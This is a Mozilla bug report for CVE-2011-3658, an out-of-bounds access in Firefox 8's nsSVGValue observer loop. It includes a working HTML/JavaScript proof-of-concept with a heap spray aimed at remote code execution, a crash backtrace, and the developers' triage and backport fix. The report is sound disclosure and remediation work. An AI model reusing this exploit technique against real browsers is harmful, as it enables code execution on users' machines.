Closed
Bug 708186
(CVE-2011-3658)
Opened 13 years ago
Closed 13 years ago
[8.0.1] nsSVGValue Out-of-Bounds Access (ZDI-CAN-1414)
Categories
(Core :: SVG, defect)
Tracking
()
VERIFIED
FIXED
mozilla9
People
(Reporter: dveditz, Assigned: birtles)
References
Details
(Keywords: regression, verified-beta, verified1.9.2, Whiteboard: [sg:critical][qa!] fixed in Fx9 by bug 602759)
Crash Data
Attachments
(1 file, 3 obsolete files)
|
1.28 KB,
patch
|
dholbert
:
review+
jwatt
:
review+
dveditz
:
approval1.9.2.28+
|
Details | Diff | Splinter Review |
ZDI-CAN-1414: Mozilla Firefox nsSVGValue Out-of-Bounds Access Remote
Code Execution Vulnerability
-- CVSS -----------------------------------------
7.5, AV:N/AC:L/Au:N/C:P/I:P/A:P
-- ABSTRACT -------------------------------------
TippingPoint has identified a vulnerability affecting the following
products:
Mozilla Firefox
-- VULNERABILITY DETAILS ------------------------
Version(s) Tested: Mozilla Firefox 8.0.1
Platform(s) Tested: Windows XP SP3
---------------------
Vulnerability details
---------------------
The notification of nsSVGValue observers via
nsSVGValue::NotifyObservers(SVGObserverNotifyFunction f,
modificationType aModType) uses a loop which can result in an
out-of-bounds access to attacker controlled memory. Provided below the
code for this function from content/src/nsSVGValue.cpp:
nsSVGValue::NotifyObservers(SVGObserverNotifyFunction f,
modificationType aModType)
{
PRInt32 count = mObservers.Length();
// Since notification might cause the listeners to remove themselves
// from the observer list (mod_die), walk backwards through the list
// to catch everyone.
for (PRInt32 i = count - 1; i >= 0; i--) {
nsIWeakReference* wr = mObservers.ElementAt(i);
nsCOMPtr<nsISVGValueObserver> observer = do_QueryReferent(wr);
if (observer)
(static_cast<nsISVGValueObserver*>(observer)->*f)(this, aModType);
}
}
The variable "count" is set once from mObservers.Length() before the
loop begins. During each loop iteration, a pointer to is acquired via
a call to mObservers.ElementAt(i);. An attacker may register an
observer of nsSVGValue which removes elements from the array, thus
making the "count" reflect an invalid amount of elements. The
mObserver function ElementAt() does not validate that the index is not
out of bounds. The combination of these behaviors means that
subsequent iterations of the loop will access memory which is outside
the bounds of the array. Through manipulation of memory layout, the
memory accessed from these out-of-bounds indexes can be controlled by
the attacker, and thus result in remote arbitrary code execution.
The code below demonstrates registration of an observer which removes
elements and triggers the vulnerability:
---------------
Begin Code Snip
---------------
<html>
<head>
<script>
var container = [];
var tls = [];
var rect = null;
var big = null;
var small = null;
function listener() {
rect.removeEventListener("DOMAttrModified", listener, false);
for each (tl in tls)
tl.clear();
// gc & heap spray
for (i = 0; i < (1<<7); ++i)
container.push(unescape(big));
for (i = 0; i < (1<<22); ++i)
container.push(unescape(small));
}
function run() {
var svg = document.getElementById("svg");
rect = document.getElementById("rect");
for (i = 0; i < (1<<13); ++i) {
rect = rect.cloneNode(false);
var atl = rect.transform;
var tl = atl.baseVal;
tls.push(tl);
}
const addr = unescape("%uc0c0");
big = addr;
while (big.length != 0x100000)
big += big;
small = addr;
while (small.length != 15)
small += addr;
var trans = svg.createSVGTransform();
for each (tl in tls)
tl.appendItem(trans);
rect.addEventListener("DOMAttrModified", listener, false);
var matrix = svg.createSVGMatrix();
trans.setMatrix(matrix);
alert("PoC failed");
}
</script>
</head>
<body onload="run();">
<svg id="svg">
<rect
id="rect"
x="0"
y="0"
width="10"
height="10"
fill="red"
stroke="black"/>
</svg>
</body>
</html>
----------------
End of Code Snip
----------------
This code will register an observer which removes elements and
populates memory with the value c0c0c0c0. This memory is used to look
up a function pointer which is then called.
-- CREDIT ---------------------------------------
This vulnerability was discovered by:
regenrecht
|
Reporter | |
Comment 1•13 years ago
|
||
I can confirm the crash in Firefox 8.0.1
bp-1f540d57-f4d7-4366-b100-0e7fe2111206
Whiteboard: [sg:critical]
|
|
Reporter | |
Comment 2•13 years ago
|
||
but doesn't crash in a 9.0 beta from a couple weeks ago
http://hg.mozilla.org/releases/mozilla-beta/rev/d930274ef409
|
|
Reporter | |
Comment 3•13 years ago
|
||
I'd like to blame the complete removal of nsSVGValue in bug 690486 for fixing this, but that didn't land until the Firefox 10 cycle. Event changes, maybe?
|
|
Reporter | |
Updated•13 years ago
|
Summary: nsSVGValue Out-of-Bounds Access (ZDI-CAN-1414) → [8.0.1] nsSVGValue Out-of-Bounds Access (ZDI-CAN-1414)
|
|
Reporter | |
Updated•13 years ago
|
Crash Signature: [@ nsQueryReferent::operator() ]
|
|
Reporter | |
Updated•13 years ago
|
status1.9.2:
--- → unaffected
status-firefox10:
--- → fixed
status-firefox11:
--- → fixed
status-firefox8:
--- → affected
status-firefox9:
--- → fixed
Keywords: regression,
regressionwindow-wanted
|
|
Reporter | |
Comment 4•13 years ago
|
||
The fix range on mozilla central was between 2011-09-26 and 2011-09-27. Eyeballing the mozilla-inbound merge I'd guess bug 602759 which was a largish SVG change and dealt with transforms and matrices. But nsSVGValue::NotifyObservers was unchanged so maybe there's another way to cause the listeners to be removed at the right time?
|
|
Reporter | |
Updated•13 years ago
|
|
|
Reporter | |
Updated•13 years ago
|
Alias: CVE-2011-3658
|
Assignee | |
Comment 5•13 years ago
|
||
I'd say bug 602759 is most likely responsible for fixing it. It thoroughly revises the lifetimes of SVG matrix and transform objects. Unfortunately it's a pretty large set of patches.
No longer depends on: 690486
|
|
Assignee | |
Comment 6•13 years ago
|
||
Confirming that this appears to be fixed for me in current 9.0 beta on Win 7. Since there is no plan for 8.0.2 I suppose the fix for this will be when we ship 9.0 in two weeks.
Why is there a question about "fixed in Fx9" on the whiteboard? Has someone been able to reproduce this in Fx9?
|
||
Comment 7•13 years ago
|
||
(In reply to Brian Birtles (:birtles) from comment #6)
> Why is there a question about "fixed in Fx9" on the whiteboard? Has someone
> been able to reproduce this in Fx9?
I think that was based on comment 2 vs. comment 3 (when the latest hypothesized fix was something that hadn't landed until the Firefox 10 timeframe).
Comment 4 - 6 cleared up what the actual fix was. I think you're clear to remove that whiteboard text, based on comment 6.
|
|
Assignee | |
Comment 8•13 years ago
|
||
(In reply to Daniel Holbert [:dholbert] from comment #7)
> (In reply to Brian Birtles (:birtles) from comment #6)
> > Why is there a question about "fixed in Fx9" on the whiteboard? Has someone
> > been able to reproduce this in Fx9?
>
> I think that was based on comment 2 vs. comment 3 (when the latest
> hypothesized fix was something that hadn't landed until the Firefox 10
> timeframe).
>
> Comment 4 - 6 cleared up what the actual fix was. I think you're clear to
> remove that whiteboard text, based on comment 6.
Cheers. So can I mark this resolved fixed, target milestone: mozilla9?
Whiteboard: [sg:critical] fixed in Fx9? Fx10 for sure → [sg:critical] fixed in Fx9
|
|
||
Comment 9•13 years ago
|
||
(In reply to Brian Birtles (:birtles) from comment #8)
> Cheers. So can I mark this resolved fixed, target milestone: mozilla9?
I'm currently generating local targeted builds from before & after bug 602759's patches, just to be absolutely sure that that's what fixed this. Once I've confirmed that (or if you're already confident enough) then I think that's the right next step, yeah.
Reassigning to birtles, since he (along with dveditz) have done the investigative work here, and it appears he wrote the patch that fixed this. :) (also, I only just now noticed that this had been assigned to me -- sorry for not picking up on that quicker. :))
Assignee: dholbert+bmo → birtles
|
|
||
Comment 10•13 years ago
|
||
(In reply to Daniel Holbert [:dholbert] from comment #9)
> (In reply to Brian Birtles (:birtles) from comment #8)
> > Cheers. So can I mark this resolved fixed, target milestone: mozilla9?
>
> I'm currently generating local targeted builds from before & after bug
> 602759's patches, just to be absolutely sure that that's what fixed this.
> Once I've confirmed that (or if you're already confident enough) then I
> think that's the right next step, yeah.
Confirmed -- build from parent of bug 602759's patches ( 22ae18b4d013 ) crashes -- build from the final patch ( dbde35bf04e9 ) pops up a dialog saying "PoC failed".
So, resolving as FIXED by bug 602759, and setting target milestone to mozilla9 to match that bug.
Status: NEW → RESOLVED
Closed: 13 years ago
Resolution: --- → FIXED
Target Milestone: --- → mozilla9
|
|
Reporter | |
Updated•13 years ago
|
Whiteboard: [sg:critical] fixed in Fx9 → [sg:critical] fixed in Fx9 by bug 602759
Whiteboard: [sg:critical] fixed in Fx9 by bug 602759 → [sg:critical] fixed in Fx9 by bug 602759 [qa+]
|
||
Comment 11•13 years ago
|
||
Fix works on OS X 10.7 (Lion)
Will try Windows an Linux next.
|
|
||
Comment 12•13 years ago
|
||
Verified on Windows 7. However, I wasn't able to get the debug FF9 Beta to run on my Virtual Machine. So I verified this on a non-debug version of the beta 9.
|
|
||
Comment 13•13 years ago
|
||
Verified in Ubuntu 11 as well. All looks good.
Status: RESOLVED → VERIFIED
Keywords: verified-beta
Whiteboard: [sg:critical] fixed in Fx9 by bug 602759 [qa+] → [sg:critical] fixed in Fx9 by bug 602759 [qa!:9]
|
||
Comment 14•13 years ago
|
||
Reporter has contacted us stating that 3.6.x is affected by this. He sent an updated POC and the following backtrace.
###!!! ASSERTION: invalid array index: 'i < Length()', file ../../../../dist/include/nsTArray.h, line 317
###!!! ASSERTION: invalid array index: 'i < Length()', file ../../../../dist/include/nsTArray.h, line 317
Program received signal SIGSEGV, Segmentation fault.
0xb72eb430 in nsQueryReferent::operator() (this=0xbfffd2cc, aIID=..., answer=0xbfffd280) at nsWeakReference.cpp:88
88 if ( NS_FAILED(status = mWeakPtr->QueryReferent(aIID, answer)) )
(gdb) x/i $pc
=> 0xb72eb430 <nsQueryReferent::operator()(nsID const&, void**) const+36>: mov (%eax),%ecx
(gdb) i r eax ecx
eax 0xc 12
ecx 0xbfffd280 -1073753472
(gdb) bt
#0 0xb72eb430 in nsQueryReferent::operator() (this=0xbfffd2cc, aIID=..., answer=0xbfffd280) at nsWeakReference.cpp:88
#1 0xb6cb2525 in nsCOMPtr<nsISVGValueObserver>::assign_from_helper (this=0xbfffd2c8, helper=..., aIID=...) at ../../../../dist/include/nsCOMPtr.h:1249
#2 0xb6cb22fd in nsCOMPtr<nsISVGValueObserver>::nsCOMPtr (this=0xbfffd2c8, helper=...) at ../../../../dist/include/nsCOMPtr.h:621
#3 0xb6cb1e43 in nsSVGValue::NotifyObservers (this=0xab2b0544, f=&virtual table offset 20, aModType=nsISVGValue::mod_other)
at content/svg/content/src/nsSVGValue.cpp:68
#4 0xb6cb1fb4 in nsSVGValue::DidModify (this=0xab2b0544, aModType=nsISVGValue::mod_other) at content/svg/content/src/nsSVGValue.cpp:87
#5 0xb6cab559 in nsSVGTransform::SetMatrix (this=0xab2b0540, matrix=0xab2b0a00) at content/svg/content/src/nsSVGTransform.cpp:256
#6 0xb736c76f in NS_InvokeByIndex_P () at xpcom/reflect/xptcall/src/md/unix/xptcinvoke_gcc_x86_unix.cpp:69
#7 0xb6171901 in XPCWrappedNative::CallMethod (ccx=..., mode=XPCWrappedNative::CALL_METHOD)
at js/src/xpconnect/src/xpcwrappednative.cpp:2722
#8 0xb617e560 in XPC_WN_CallMethod (cx=0xaf9a4c00, obj=0xa47a4d60, argc=1, argv=0xaaf6e0c8, vp=0xbfffd864)
at js/src/xpconnect/src/xpcwrappednativejsops.cpp:1740
#9 0xb5c9b765 in js_Invoke (cx=0xaf9a4c00, argc=1, vp=0xaaf6e0c0, flags=2) at js/src/jsinterp.cpp:1360
#10 0xb5c89acd in js_Interpret (cx=0xaf9a4c00) at js/src/jsops.cpp:2240
#11 0xb5c9b7ae in js_Invoke (cx=0xaf9a4c00, argc=1, vp=0xaaf6e024, flags=0) at js/src/jsinterp.cpp:1368
#12 0xb5c9ba20 in js_InternalInvoke (cx=0xaf9a4c00, obj=0xa475b480, fval=-1535364928, flags=0, argc=1, argv=0xaaf6e020, rval=0xbfffdf54)
at js/src/jsinterp.cpp:1423
#13 0xb5c24868 in JS_CallFunctionValue (cx=0xaf9a4c00, obj=0xa475b480, fval=-1535364928, argc=1, argv=0xaaf6e020, rval=0xbfffdf54)
at js/src/jsapi.cpp:5099
#14 0xb695a2e3 in nsJSContext::CallEventHandler (this=0xaf9f3840, aTarget=0xb45a5430, aScope=0xa475b480, aHandler=0xa47c30c0, aargv=0xa473b3e0, arv=0xbfffe158)
at dom/base/nsJSEnvironment.cpp:2205
#15 0xb69d8a0a in nsJSEventListener::HandleEvent (this=0xa4796280, aEvent=0xa473a4c0) at dom/src/events/nsJSEventListener.cpp:269
...
|
|
||
Updated•13 years ago
|
blocking1.9.2: --- → ?
|
|
||
Comment 15•13 years ago
|
||
Further 1.9.2 PoC's from the reporter.
|
|
||
Comment 16•13 years ago
|
||
|
|
||
Comment 17•13 years ago
|
||
|
|
||
Comment 18•13 years ago
|
||
Comment 14 may be related to this bug, but the other three (comment 15 - 17) are unrelated and need a separate bug. Their source doesn't mention SVG at all (including the crash-backtrace included inline in each one, so it's highly unlikely that they have anything to do with this bug here.
|
|
||
Comment 19•13 years ago
|
||
All right. I'll open another bug for these three. Of course, with 1.9.2 exiting support soon, this may not get fixed.
|
|
Reporter | |
Comment 20•13 years ago
|
||
the patches in bug 602759 are uncomfortably large for taking on the 1.9.2 branch. Is there any smaller subset of the larger change that solves this security bug?
blocking1.9.2: ? → .28+
status-firefox-esr10:
--- → unaffected
|
|
Assignee | |
Comment 21•13 years ago
|
||
(In reply to Daniel Veditz [:dveditz] from comment #20)
> the patches in bug 602759 are uncomfortably large for taking on the 1.9.2
> branch. Is there any smaller subset of the larger change that solves this
> security bug?
At a glance, I don't think so. I think it's either (a) land the lot, or (b) write another patch just to fix this problem. (b) is do-able but could possibly be a few days' work. I'm can do (b) if you think it's worthwhile.
|
|
||
Comment 22•13 years ago
|
||
(In reply to Al Billings [:abillings] from comment #19)
> All right. I'll open another bug for these three. Of course, with 1.9.2
> exiting support soon, this may not get fixed.
This is bug 730441.
|
|
Reporter | |
Updated•13 years ago
|
Attachment #597117 -
Attachment is private: true
|
|
Reporter | |
Updated•13 years ago
|
Attachment #597117 -
Attachment is obsolete: true
Attachment #597117 -
Attachment is private: false
|
|
Reporter | |
Updated•13 years ago
|
Attachment #597118 -
Attachment is obsolete: true
|
|
Reporter | |
Updated•13 years ago
|
Attachment #597120 -
Attachment is obsolete: true
|
|
Reporter | |
Comment 23•13 years ago
|
||
The PoC for 3.6.x looks like the original bug
bp-a5b0bee3-405d-48c0-beb3-077502120224
Are we sure there's nothing less than a 350K 15-part patch that can fix this? How cleanly does bug 602759 apply to the old branch?
|
|
Assignee | |
Comment 24•13 years ago
|
||
Based on the description in comment 0 I've written a simple patch to copy the array before iterating over it. It seems to fix the second attachment, "POC for 3.6.x"---crashes without patch applied, displays "PoC failed" with patch.
Attachment #601171 -
Flags: review?(dholbert)
|
|
||
Comment 25•13 years ago
|
||
Comment on attachment 601171 [details] [diff] [review]
Possible patch v1a
Looks good to me! Might have a small perf impact (probably good to watch m.d.tree-management after this lands), but it's probably worth it for the security win.
(It's probably possible to do this in such a way as to not require the copy, but that'd probably be a scarier patch to land on a branch, so I think this is fine.)
I'd like for someone else to sign off on this, too -- maybe jwatt?
Attachment #601171 -
Flags: review?(jwatt)
Attachment #601171 -
Flags: review?(dholbert)
Attachment #601171 -
Flags: review+
|
||
Updated•13 years ago
|
Attachment #601171 -
Flags: review?(jwatt) → review+
|
|
Assignee | |
Comment 26•13 years ago
|
||
Comment on attachment 601171 [details] [diff] [review]
Possible patch v1a
Requesting approval to land on 1.9.2 branch.
I think this is probably the minimal patch that will fix this bug. The primary risk is simply that it is difficult to test without try server. We'll have to watch tbpl and back out as necessary. Also, there may be a perf hit so we'll have to watch tree management too as Daniel noted in comment 25.
Attachment #601171 -
Flags: approval1.9.2.28?
|
|
Reporter | |
Comment 27•13 years ago
|
||
Comment on attachment 601171 [details] [diff] [review]
Possible patch v1a
Approved for 1.9.2.28, a=dveditz for release-drivers
Attachment #601171 -
Flags: approval1.9.2.28? → approval1.9.2.28+
|
|
Assignee | |
Comment 28•13 years ago
|
||
|
|
Reporter | |
Updated•13 years ago
|
|
||
Comment 29•13 years ago
|
||
With Firefox 3.6.28, the "PoC for 3.6" attachment displays an alert box stating "PoC failed". Is this the expected result?
Keywords: verified1.9.2
Whiteboard: [sg:critical] fixed in Fx9 by bug 602759 [qa!:9] → [sg:critical][qa+] fixed in Fx9 by bug 602759
Keywords: verified1.9.2
|
|
Assignee | |
Comment 30•13 years ago
|
||
(In reply to Anthony Hughes, Mozilla QA (irc: ashughes) from comment #29)
> With Firefox 3.6.28, the "PoC for 3.6" attachment displays an alert box
> stating "PoC failed". Is this the expected result?
Yes, that is the expected result.
|
||
Comment 32•13 years ago
|
||
Verified in FF 11 Beta 6.
|
|
||
Comment 33•13 years ago
|
||
Verified in FF 10.0.2.
|
|
||
Updated•13 years ago
|
Whiteboard: [sg:critical][qa+] fixed in Fx9 by bug 602759 → [sg:critical][qa!] fixed in Fx9 by bug 602759
|
|
Reporter | |
Updated•13 years ago
|
Group: core-security
|
||
Updated•9 years ago
|
Keywords: regressionwindow-wanted
You need to log in
before you can comment on or make changes to this bug.
Description
•